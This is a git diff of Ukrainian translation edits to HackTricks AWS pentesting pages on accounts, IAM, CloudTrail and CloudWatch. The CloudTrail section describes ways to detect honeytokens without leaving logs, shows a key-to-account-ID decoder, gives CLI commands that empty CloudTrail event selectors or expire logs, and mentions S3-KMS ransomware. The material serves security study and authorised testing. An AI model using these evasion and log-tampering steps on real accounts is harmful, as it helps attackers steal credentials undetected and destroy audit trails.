diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 05f71569f..0ec8d81cc 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -8,7 +8,7 @@
### Облікові записи
-В AWS є **кореневий обліковий запис,** який є **батьківським контейнером для всіх облікових записів** вашої **організації**. Однак вам не потрібно використовувати цей обліковий запис для розгортання ресурсів, ви можете створити **інші облікові записи, щоб розділити різні AWS** інфраструктури між собою.
+В AWS є **кореневий обліковий запис**, який є **батьківським контейнером для всіх облікових записів** вашої **організації**. Однак вам не потрібно використовувати цей обліковий запис для розгортання ресурсів, ви можете створити **інші облікові записи, щоб розділити різні AWS** інфраструктури між собою.
Це дуже цікаво з точки зору **безпеки**, оскільки **один обліковий запис не зможе отримати доступ до ресурсів з іншого облікового запису** (якщо не створені спеціальні мости), таким чином ви можете створити межі між розгортаннями.
@@ -21,7 +21,7 @@
- Видалити облікові записи з організації
- Керувати запрошеннями
- Застосовувати політики до сутностей (корені, ОУ або облікові записи) в межах організації
-- Увімкнути інтеграцію з підтримуваними AWS сервісами для надання функціональності сервісу для всіх облікових записів в організації.
+- Увімкнути інтеграцію з підтримуваними службами AWS для надання функціональності служби для всіх облікових записів в організації.
- Можливо увійти як кореневий користувач, використовуючи електронну пошту та пароль, які використовувалися для створення цього кореневого облікового запису/організації.
Обліковий запис управління має **обов'язки облікового запису платника** і відповідає за оплату всіх витрат, які накопичуються учасниками. Ви не можете змінити обліковий запис управління організації.
@@ -40,13 +40,13 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
-**Політика контролю сервісів (SCP)** - це політика, яка визначає сервіси та дії, які користувачі та ролі можуть використовувати в облікових записах, на які впливає SCP. SCP **схожі на політики дозволів IAM**, за винятком того, що вони **не надають жодних дозволів**. Натомість SCP визначають **максимальні дозволи** для організації, організаційної одиниці (OU) або облікового запису. Коли ви прикріплюєте SCP до кореня вашої організації або OU, **SCP обмежує дозволи для суб'єктів у членських облікових записах**.
+**Політика контролю сервісів (SCP)** - це політика, яка визначає сервіси та дії, які користувачі та ролі можуть використовувати в облікових записах, на які впливає SCP. SCP **схожі на політики дозволів IAM**, за винятком того, що вони **не надають жодних дозволів**. Натомість SCP визначають **максимальні дозволи** для організації, організаційної одиниці (OU) або облікового запису. Коли ви прикріплюєте SCP до кореня вашої організації або OU, **SCP обмежує дозволи для сутностей у членських облікових записах**.
Це є ЄДИНИМ способом, яким **навіть кореневий користувач може бути зупинений** від виконання певних дій. Наприклад, його можна використовувати, щоб зупинити користувачів від вимкнення CloudTrail або видалення резервних копій.\
Єдиний спосіб обійти це - також скомпрометувати **майстер-обліковий запис**, який налаштовує SCP (майстер-обліковий запис не може бути заблокований).
> [!WARNING]
-> Зверніть увагу, що **SCP лише обмежують суб'єктів у обліковому записі**, тому інші облікові записи не підлягають впливу. Це означає, що наявність SCP, яка забороняє `s3:GetObject`, не зупинить людей від **доступу до публічного S3 бакету** у вашому обліковому записі.
+> Зверніть увагу, що **SCP лише обмежують принципалів в обліковому записі**, тому інші облікові записи не підлягають впливу. Це означає, що наявність SCP, яка забороняє `s3:GetObject`, не зупинить людей від **доступу до публічного S3 бакету** у вашому обліковому записі.
Приклади SCP:
@@ -68,7 +68,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
### ARN
-**Amazon Resource Name** - це **унікальна назва**, яку має кожен ресурс всередині AWS, вона складається ось так:
+**Amazon Resource Name** - це **унікальна назва**, яку має кожен ресурс всередині AWS, вона складається так:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
@@ -92,7 +92,7 @@ IAM можна визначити за його здатністю керува
### [Кореневий користувач облікового запису AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-Коли ви вперше створюєте обліковий запис Amazon Web Services (AWS), ви починаєте з єдиної особи для входу, яка має **повний доступ до всіх** сервісів та ресурсів AWS в обліковому записі. Це _**кореневий користувач**_ облікового запису AWS, до якого отримують доступ, увійшовши з **електронною адресою та паролем, які ви використовували для створення облікового запису**.
+Коли ви вперше створюєте обліковий запис Amazon Web Services (AWS), ви починаєте з єдиної особи для входу, яка має **повний доступ до всіх** сервісів та ресурсів AWS в обліковому записі. Це _**кореневий користувач**_ облікового запису AWS, до якого можна отримати доступ, увійшовши з **електронною адресою та паролем, які ви використовували для створення облікового запису**.
Зверніть увагу, що новий **адміністратор** матиме **менше прав, ніж кореневий користувач**.
@@ -100,7 +100,7 @@ IAM можна визначити за його здатністю керува
### [Користувачі IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
-Користувач IAM - це сутність, яку ви створюєте в AWS, щоб **представити особу або додаток**, який використовує його для **взаємодії з AWS**. Користувач в AWS складається з імені та облікових даних (пароль та до двох ключів доступу).
+Користувач IAM - це сутність, яку ви створюєте в AWS, щоб **представити особу або додаток**, який використовує його для **взаємодії з AWS**. Користувач в AWS складається з імені та облікових даних (пароль і до двох ключів доступу).
Коли ви створюєте користувача IAM, ви надаєте йому **дозволи**, роблячи його **членом групи користувачів**, до якої прикріплені відповідні політики дозволів (рекомендується), або **безпосередньо прикріплюючи політики** до користувача.
@@ -111,7 +111,7 @@ IAM можна визначити за його здатністю керува
- **ID ключа доступу**: 20 випадкових великих алфавітно-цифрових символів, таких як AKHDNAPO86BSHKDIRYT
- **ID секретного ключа доступу**: 40 випадкових великих і малих символів: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (неможливо відновити втрачені ID секретних ключів доступу).
-Коли вам потрібно **змінити ключ доступу**, це процес, який ви повинні виконати:\
+Коли вам потрібно **змінити ключ доступу**, ви повинні дотримуватися цього процесу:\
_Створіть новий ключ доступу -> Застосуйте новий ключ до системи/додатку -> позначте оригінальний як неактивний -> протестуйте та перевірте, що новий ключ доступу працює -> видаліть старий ключ доступу_
### MFA - Багатофакторна аутентифікація
@@ -130,34 +130,34 @@ _Створіть новий ключ доступу -> Застосуйте н
```bash
aws sts get-session-token --serial-number --token-code
```
-Як [**вказано тут**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), існує багато різних випадків, коли **MFA не може бути використано**.
+Як [**зазначено тут**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), існує багато різних випадків, коли **MFA не може бути використано**.
-### [Групи користувачів IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
+### [IAM групи користувачів](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-Група [користувачів IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) - це спосіб **прикріплення політик до кількох користувачів** одночасно, що може спростити управління дозволами для цих користувачів. **Ролі та групи не можуть бути частиною групи**.
+IAM [група користувачів](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) - це спосіб **прикріплення політик до кількох користувачів** одночасно, що може спростити управління дозволами для цих користувачів. **Ролі та групи не можуть бути частиною групи**.
Ви можете прикріпити **політику на основі ідентичності до групи користувачів**, щоб всі **користувачі** в групі користувачів **отримали дозволи політики**. Ви **не можете** ідентифікувати **групу користувачів** як **`Principal`** у **політиці** (такій як політика на основі ресурсу), оскільки групи стосуються дозволів, а не аутентифікації, а принципи є аутентифікованими сутностями IAM.
Ось деякі важливі характеристики груп користувачів:
-- Група **користувачів** може **містити багато користувачів**, а **користувач** може **належати до кількох груп**.
+- **Група користувачів** може **містити багато користувачів**, а **користувач** може **належати до кількох груп**.
- **Групи користувачів не можуть бути вкладеними**; вони можуть містити лише користувачів, а не інші групи користувачів.
-- Існує **жодна група користувачів за замовчуванням, яка автоматично включає всіх користувачів у обліковому записі AWS**. Якщо ви хочете мати таку групу користувачів, ви повинні створити її та призначити кожного нового користувача до неї.
+- **Не існує групи користувачів за замовчуванням, яка автоматично включає всіх користувачів в обліковому записі AWS**. Якщо ви хочете мати таку групу користувачів, ви повинні створити її та призначити кожного нового користувача до неї.
- Кількість і розмір ресурсів IAM в обліковому записі AWS, таких як кількість груп і кількість груп, до яких може належати користувач, обмежені. Для отримання додаткової інформації див. [Квоти IAM та AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
-### [Ролі IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
+### [IAM ролі](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-Роль IAM **дуже схожа** на **користувача**, оскільки це **ідентифікація з політиками дозволів, які визначають, що** вона може і не може робити в AWS. Однак роль **не має жодних облікових даних** (пароль або ключі доступу), пов'язаних з нею. Замість того, щоб бути унікально пов'язаною з однією особою, роль призначена для того, щоб її **могли приймати будь-хто, хто її потребує (і має достатні дозволи)**. Користувач **IAM може прийняти роль, щоб тимчасово** отримати різні дозволи для конкретного завдання. Роль може бути **призначена** [**федеративному користувачу**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), який входить, використовуючи зовнішнього постачальника ідентичності замість IAM.
+IAM **роль** дуже **схожа** на **користувача**, оскільки це **ідентичність з політиками дозволів, які визначають, що** вона може і не може робити в AWS. Однак роль **не має жодних облікових даних** (пароль або ключі доступу), пов'язаних з нею. Замість того, щоб бути унікально пов'язаною з однією особою, роль призначена для того, щоб її **могли приймати будь-хто, хто її потребує (і має достатні дозволи)**. **Користувач IAM може прийняти роль, щоб тимчасово** отримати різні дозволи для конкретного завдання. Роль може бути **призначена** [**федеративному користувачу**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), який входить, використовуючи зовнішнього постачальника ідентичності замість IAM.
-Роль IAM складається з **двох типів політик**: **політики довіри**, яка не може бути порожньою, що визначає, **хто може прийняти** роль, і **політики дозволів**, яка не може бути порожньою, що визначає, **до чого вона може отримати доступ**.
+IAM роль складається з **двох типів політик**: **політики довіри**, яка не може бути порожньою, що визначає, **хто може прийняти** роль, і **політики дозволів**, яка не може бути порожньою, що визначає, **до чого вона може отримати доступ**.
-#### Служба безпеки токенів AWS (STS)
+#### AWS Security Token Service (STS)
-Служба безпеки токенів AWS (STS) - це веб-сервіс, який полегшує **видачу тимчасових, обмежених привілеїв облікових даних**. Вона спеціально призначена для:
+AWS Security Token Service (STS) - це веб-сервіс, який полегшує **видачу тимчасових, обмежених привілеїв облікових даних**. Він спеціально призначений для:
### [Тимчасові облікові дані в IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-**Тимчасові облікові дані в основному використовуються з ролями IAM**, але є й інші використання. Ви можете запитати тимчасові облікові дані, які мають більш обмежений набір дозволів, ніж ваш стандартний користувач IAM. Це **запобігає** вам **випадковому виконанню завдань, які не дозволені** більш обмеженими обліковими даними. Перевагою тимчасових облікових даних є те, що вони автоматично закінчуються після встановленого періоду часу. Ви контролюєте тривалість, протягом якої облікові дані є дійсними.
+**Тимчасові облікові дані в основному використовуються з IAM ролями**, але є й інші використання. Ви можете запитати тимчасові облікові дані, які мають більш обмежений набір дозволів, ніж ваш стандартний користувач IAM. Це **запобігає** вам **випадковому виконанню завдань, які не дозволені** більш обмеженими обліковими даними. Перевагою тимчасових облікових даних є те, що вони автоматично закінчуються після встановленого періоду часу. Ви контролюєте тривалість, протягом якої облікові дані є дійсними.
### Політики
@@ -192,13 +192,13 @@ aws sts get-session-token --serial-number --token-code
]
}
```
-Глобальні поля, які можуть бути використані для умов у будь-якій службі, задокументовані тут.\
-Специфічні поля, які можуть бути використані для умов для кожної служби, задокументовані тут.
+Глобальні поля, які можна використовувати для умов у будь-якій службі, задокументовані тут.\
+Специфічні поля, які можна використовувати для умов для кожної служби, задокументовані тут.
#### Вбудовані політики
Цей вид політик **безпосередньо призначається** користувачу, групі або ролі. Тоді вони не з'являються у списку політик, оскільки інші не можуть їх використовувати.\
-Вбудовані політики корисні, якщо ви хочете **підтримувати сувору однозначну відповідність між політикою та ідентичністю**, до якої вона застосовується. Наприклад, ви хочете бути впевненими, що дозволи в політиці не призначені ненавмисно іншій ідентичності, окрім тієї, для якої вони призначені. Коли ви використовуєте вбудовану політику, дозволи в політиці не можуть бути ненавмисно прикріплені до неправильної ідентичності. Крім того, коли ви використовуєте AWS Management Console для видалення цієї ідентичності, політики, вбудовані в ідентичність, також видаляються. Це тому, що вони є частиною основної сутності.
+Вбудовані політики корисні, якщо ви хочете **підтримувати строгі однозначні відносини між політикою та ідентичністю**, до якої вона застосовується. Наприклад, ви хочете бути впевненими, що дозволи в політиці не призначені ненавмисно іншій ідентичності, окрім тієї, для якої вони призначені. Коли ви використовуєте вбудовану політику, дозволи в політиці не можуть бути ненавмисно прикріплені до неправильної ідентичності. Крім того, коли ви використовуєте AWS Management Console для видалення цієї ідентичності, політики, вбудовані в ідентичність, також видаляються. Це тому, що вони є частиною основної сутності.
#### Політики ресурсних бакетів
@@ -208,7 +208,7 @@ aws sts get-session-token --serial-number --token-code
### Межі IAM
-Межі IAM можуть бути використані для **обмеження дозволів, до яких користувач або роль повинні мати доступ**. Таким чином, навіть якщо інший набір дозволів надається користувачу іншою **політикою**, операція **не вдасться**, якщо він спробує їх використати.
+Межі IAM можна використовувати для **обмеження дозволів, до яких користувач або роль повинні мати доступ**. Таким чином, навіть якщо інший набір дозволів надається користувачу **іншою політикою**, операція **не вдасться**, якщо він спробує їх використати.
Межа - це просто політика, прикріплена до користувача, яка **вказує максимальний рівень дозволів, які користувач або роль можуть мати**. Отже, **навіть якщо у користувача є доступ адміністратора**, якщо межа вказує, що він може лише читати S· бакети, це максимальне, що він може зробити.
@@ -218,7 +218,7 @@ aws sts get-session-token --serial-number --token-code
Політика сесії - це **політика, встановлена, коли роль приймається** якимось чином. Це буде як **межа IAM для цієї сесії**: Це означає, що політика сесії не надає дозволів, але **обмежує їх до тих, що вказані в політиці** (максимальні дозволи - це ті, які має роль).
-Це корисно для **заходів безпеки**: Коли адміністратор збирається прийняти дуже привілейовану роль, він може обмежити дозволи лише до тих, що вказані в політиці сесії, у разі, якщо сесія буде скомпрометована.
+Це корисно для **заходів безпеки**: Коли адміністратор збирається прийняти дуже привілейовану роль, він може обмежити дозволи лише тими, що вказані в політиці сесії, у разі, якщо сесія буде скомпрометована.
```bash
aws sts assume-role \
--role-arn \
@@ -249,13 +249,13 @@ AWS IAM Центр ідентичності (наступник AWS Single Sign-
Для входу користувачів можна використовувати 3 джерела ідентичності:
-- Довідник Центру ідентичності: Звичайні користувачі AWS
+- Директорія Центру ідентичності: Звичайні користувачі AWS
- Active Directory: Підтримує різні конектори
- Зовнішній постачальник ідентичності: Всі користувачі та групи походять від зовнішнього постачальника ідентичності (IdP)
-У найпростішому випадку довідника Центру ідентичності, **Центр ідентичності матиме список користувачів і груп** і зможе **призначати політики** їм для **будь-якого з облікових записів** організації.
+У найпростішому випадку директорії Центру ідентичності, **Центр ідентичності матиме список користувачів і груп** і зможе **призначати політики** їм для **будь-якого з облікових записів** організації.
Щоб надати доступ користувачу/групі Центру ідентичності до облікового запису, буде створено **постачальника ідентичності SAML, що довіряє Центру ідентичності**, і **роль, що довіряє постачальнику ідентичності з вказаними політиками, буде створена** в цільовому обліковому записі.
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index 21fc06b95..df7444599 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -4,7 +4,7 @@
## **CloudTrail**
-AWS CloudTrail **реєструє та моніторить активність у вашому середовищі AWS**. Він захоплює детальні **журнали подій**, включаючи хто, що, коли і звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує слід змін і дій, допомагаючи в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів і ресурсів, покращення безпекових позицій і забезпечення відповідності регуляторним вимогам.
+AWS CloudTrail **реєструє та моніторить активність у вашому середовищі AWS**. Він захоплює детальні **журнали подій**, включаючи, хто що зробив, коли і звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує слід змін і дій, допомагаючи в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів і ресурсів, покращення безпеки та забезпечення відповідності регуляторним вимогам.
Кожна зафіксована подія містить:
@@ -22,9 +22,9 @@ AWS CloudTrail **реєструє та моніторить активність
Події записуються в новий файл журналу **приблизно кожні 5 хвилин у файлі JSON**, вони зберігаються CloudTrail, а в кінцевому підсумку файли журналів **доставляються в S3 приблизно через 15 хвилин**.\
Журнали CloudTrail можуть бути **агреговані між обліковими записами та регіонами.**\
CloudTrail дозволяє використовувати **цілісність файлів журналів, щоб мати можливість перевірити, що ваші файли журналів залишилися незмінними** з моменту їх доставки вам. Він створює SHA-256 хеш журналів у файлі дайджесту. SHA-256 хеш нових журналів створюється щогодини.\
-При створенні Trail селектори подій дозволять вам вказати, які події реєструвати: управлінські, дані або події аналітики.
+При створенні Trail селектори подій дозволять вам вказати, які події слід реєструвати: управлінські, дані або події аналітики.
-Журнали зберігаються в кошику S3. За замовчуванням використовується шифрування на стороні сервера (SSE-S3), тому AWS розшифрує вміст для людей, які мають до нього доступ, але для додаткової безпеки ви можете використовувати SSE з KMS і своїми ключами.
+Журнали зберігаються в кошику S3. За замовчуванням використовується шифрування на стороні сервера (SSE-S3), тому AWS розшифрує вміст для людей, які мають до нього доступ, але для додаткової безпеки ви можете використовувати SSE з KMS та вашими власними ключами.
Журнали зберігаються в **кошику S3 з таким форматом імені**:
@@ -48,7 +48,7 @@ CloudTrail дозволяє використовувати **цілісніст
- Застосуйте дозволи до цільового кошика S3, дозволяючи доступ між обліковими записами для CloudTrail і дозволяючи кожному обліковому запису AWS, який потребує доступу
- Створіть новий Trail в інших облікових записах AWS і виберіть використання створеного кошика на етапі 1
-Однак, навіть якщо ви можете зберігати всі журнали в одному кошику S3, ви не можете агрегувати журнали CloudTrail з кількох облікових записів у журнали CloudWatch, що належать до одного облікового запису AWS.
+Однак, навіть якщо ви можете зберігати всі журнали в одному кошику S3, ви не можете агрегувати журнали CloudTrail з кількох облікових записів у журнали CloudWatch, що належать одному обліковому запису AWS.
> [!CAUTION]
> Пам'ятайте, що обліковий запис може мати **різні Trails** з CloudTrail **увімкненими**, зберігаючи однакові (або різні) журнали в різних кошиках.
@@ -83,7 +83,7 @@ aws cloudtrail validate-logs --trail-arn --start-time [-
### Інсайти
-**CloudTrail Insights** автоматично **аналізує** події управління записами з трас CloudTrail і **сповіщає** вас про **незвичайну активність**. Наприклад, якщо є збільшення подій `TerminateInstance`, яке відрізняється від встановлених базових значень, ви побачите це як подію Insight. Ці події роблять **знаходження та реагування на незвичайну API-активність легшими** ніж будь-коли.
+**CloudTrail Insights** автоматично **аналізує** події управління записами з трас CloudTrail і **сповіщає** вас про **незвичайну активність**. Наприклад, якщо є збільшення подій `TerminateInstance`, яке відрізняється від встановлених базових значень, ви побачите це як подію Insight. Ці події роблять **знаходження та реагування на незвичайну API активність легшими** ніж будь-коли.
Інсайти зберігаються в тому ж бакеті, що й логи CloudTrail: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
@@ -94,12 +94,12 @@ aws cloudtrail validate-logs --trail-arn --start-time [-
| Зупинити несанкціонований доступ |
Використовуйте політики IAM та політики бакетів S3
команда безпеки —> адміністраторський доступ
аудитори —> доступ лише для читання
Використовуйте SSE-S3/SSE-KMS для шифрування логів
|
| Запобігти видаленню файлів логів |
Обмежити доступ до видалення за допомогою IAM та політик бакетів
Налаштувати S3 MFA видалення
Перевірити за допомогою валідації файлів логів
|
-## Консультант з доступу
+## Консультант доступу
-AWS Access Advisor покладається на останні 400 днів логів AWS **CloudTrail для збору своїх інсайтів**. CloudTrail фіксує історію викликів API AWS та пов'язаних подій, що відбулися в обліковому записі AWS. Консультант з доступу використовує ці дані, щоб **показати, коли сервіси востаннє використовувалися**. Аналізуючи логи CloudTrail, Консультант з доступу може визначити, які сервіси AWS використовував IAM-користувач або роль і коли цей доступ відбувався. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо **удосконалення дозволів**, оскільки вони можуть виявити сервіси, які не використовувалися протягом тривалого часу, і потенційно зменшити надто широкі дозволи на основі реальних патернів використання.
+AWS Access Advisor спирається на останні 400 днів логів AWS **CloudTrail для збору своїх інсайтів**. CloudTrail фіксує історію викликів API AWS та пов'язаних подій, що відбулися в обліковому записі AWS. Консультант доступу використовує ці дані, щоб **показати, коли сервіси востаннє використовувалися**. Аналізуючи логи CloudTrail, Консультант доступу може визначити, які сервіси AWS використовував користувач або роль IAM і коли цей доступ відбувався. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо **удосконалення дозволів**, оскільки вони можуть виявити сервіси, які не використовувалися протягом тривалого часу, і потенційно зменшити надто широкі дозволи на основі реальних патернів використання.
> [!TIP]
-> Отже, Консультант з доступу інформує про **необхідні дозволи, які надаються користувачам**, щоб адміністратор міг їх видалити
+> Тому Консультант доступу інформує про **необхідні дозволи, які надаються користувачам**, щоб адміністратор міг їх видалити
@@ -150,19 +150,19 @@ https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript
Honeytokens створюються для **виявлення ексфільтрації чутливої інформації**. У випадку з AWS, це **ключі AWS, використання яких контролюється**, якщо щось викликає дію з цим ключем, то хтось, напевно, вкрали цей ключ.
-Однак Honeytokens, такі як ті, що створені [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren), або використовують впізнаване ім'я облікового запису, або використовують один і той же ідентифікатор облікового запису AWS для всіх своїх клієнтів. Тому, якщо ви зможете отримати ім'я облікового запису та/або ідентифікатор облікового запису без того, щоб Cloudtrail створив будь-який журнал, **ви зможете дізнатися, чи є ключ honeytoken чи ні**.
+Однак Honeytokens, такі як ті, що створені [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren), або використовують впізнаване ім'я облікового запису, або використовують один і той же ідентифікатор облікового запису AWS для всіх своїх клієнтів. Тому, якщо ви можете отримати ім'я облікового запису та/або ідентифікатор облікового запису без того, щоб Cloudtrail створив будь-який журнал, **ви могли б дізнатися, чи є ключ honeytoken чи ні**.
-[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) має деякі правила для виявлення, чи належить ключ до [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
+[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) має деякі правила для виявлення, чи належить ключ [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
- Якщо **`canarytokens.org`** з'являється в назві ролі або ідентифікатор облікового запису **`534261010715`** з'являється в повідомленні про помилку.
- Тестуючи їх нещодавно, вони використовують обліковий запис **`717712589309`** і все ще мають рядок **`canarytokens.com`** в назві.
- Якщо **`SpaceCrab`** з'являється в назві ролі в повідомленні про помилку.
-- **SpaceSiren** використовує **uuid** для генерації імен користувачів: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
+- **SpaceSiren** використовує **uuids** для генерації імен користувачів: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- Якщо **ім'я виглядає як випадково згенероване**, є висока ймовірність, що це HoneyToken.
#### Отримати ідентифікатор облікового запису з ідентифікатора ключа
-Ви можете отримати **ідентифікатор облікового запису** з **закодованого** всередині **ключа доступу**, як [**пояснено тут**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) і перевірити ідентифікатор облікового запису зі своїм списком облікових записів Honeytokens AWS:
+Ви можете отримати **ідентифікатор облікового запису** з **закодованого** всередині **ключа доступу**, як [**пояснено тут**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) і перевірити ідентифікатор облікового запису зі своїм списком Honeytokens AWS облікових записів:
```python
import base64
import binascii
@@ -183,22 +183,22 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J
```
Перевірте більше інформації в [**оригінальному дослідженні**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
-#### Не генерувати журнал
+#### Не генерувати лог
-Найефективніша техніка для цього насправді є простою. Просто використайте ключ, який ви щойно знайшли, щоб отримати доступ до якоїсь служби у вашому власному обліковому записі зловмисника. Це змусить **CloudTrail згенерувати журнал у ВАШОМУ ВЛАСНОМУ обліковому записі AWS, а не у жертви**.
+Найефективніша техніка для цього насправді є простою. Просто використайте ключ, який ви щойно знайшли, щоб отримати доступ до якоїсь служби у вашому власному обліковому записі атакуючого. Це змусить **CloudTrail згенерувати лог у ВАШОМУ ВЛАСНОМУ обліковому записі AWS, а не у жертви**.
Справа в тому, що вихід покаже вам помилку, що вказує на ідентифікатор облікового запису та ім'я облікового запису, тому **ви зможете побачити, чи це Honeytoken**.
-#### Служби AWS без журналів
+#### Служби AWS без логів
-У минулому існували деякі **служби AWS, які не надсилають журнали до CloudTrail** (знайдіть [список тут](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Деякі з цих служб **відповідатимуть** з **помилкою**, що містить **ARN ключової ролі**, якщо хтось несанкціонований (ключ Honeytoken) намагатиметься отримати до них доступ.
+У минулому існували деякі **служби AWS, які не надсилають логи до CloudTrail** (знайдіть [список тут](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Деякі з цих служб **відповідатимуть** з **помилкою**, що містить **ARN ключової ролі**, якщо хтось несанкціонований (ключ Honeytoken) намагатиметься отримати до них доступ.
-Таким чином, **зловмисник може отримати ARN ключа, не викликавши жодного журналу**. У ARN зловмисник може побачити **ідентифікатор облікового запису AWS та ім'я**, легко дізнатися ідентифікатор облікового запису та імена компаній HoneyToken, тому таким чином зловмисник може визначити, чи є токен HoneyToken.
+Таким чином, **зловмисник може отримати ARN ключа, не викликавши жодного логу**. У ARN зловмисник може побачити **ідентифікатор облікового запису AWS та ім'я**, легко дізнатися ідентифікатор облікових записів компаній HoneyToken, тому таким чином зловмисник може визначити, чи є токен HoneyToken.
.png>)
> [!CAUTION]
-> Зверніть увагу, що всі публічні API, виявлені як такі, що не створюють журнали CloudTrail, тепер виправлені, тому, можливо, вам потрібно знайти свої власні...
+> Зверніть увагу, що всі публічні API, виявлені як такі, що не створюють логи CloudTrail, тепер виправлені, тому, можливо, вам потрібно знайти свої власні...
>
> Для отримання додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
@@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors '
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region
```
-У першому прикладі одиничний селектор події надається у вигляді масиву JSON з єдиним об'єктом. `"ReadWriteType": "ReadOnly"` вказує на те, що **селектор подій повинен захоплювати лише події тільки для читання** (тому CloudTrail insights **не буде перевіряти події запису**, наприклад).
+У першому прикладі одиничний селектор події надається у вигляді масиву JSON з одним об'єктом. `"ReadWriteType": "ReadOnly"` вказує на те, що **селектор подій повинен захоплювати лише події тільки для читання** (тому CloudTrail insights **не буде перевіряти події запису**, наприклад).
Ви можете налаштувати селектор подій відповідно до ваших конкретних вимог.
@@ -256,7 +256,7 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration
#### Ransomware S3
Ви можете **згенерувати асиметричний ключ** і змусити **CloudTrail зашифрувати дані** цим ключем і **видалити приватний ключ**, щоб вміст CloudTrail не можна було відновити.\
-Це в основному **S3-KMS ransomware**, пояснене в:
+Це, по суті, **S3-KMS ransomware**, пояснене в:
{{#ref}}
../../aws-post-exploitation/aws-s3-post-exploitation.md
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
index 70b29d714..cc8dc55eb 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
@@ -6,7 +6,7 @@
**CloudWatch** **збирає** моніторингові та операційні **дані** у формі журналів/метрик/подій, надаючи **уніфікований огляд ресурсів AWS**, додатків та сервісів.\
Подія журналу CloudWatch має **обмеження розміру 256KB на кожен рядок журналу**.\
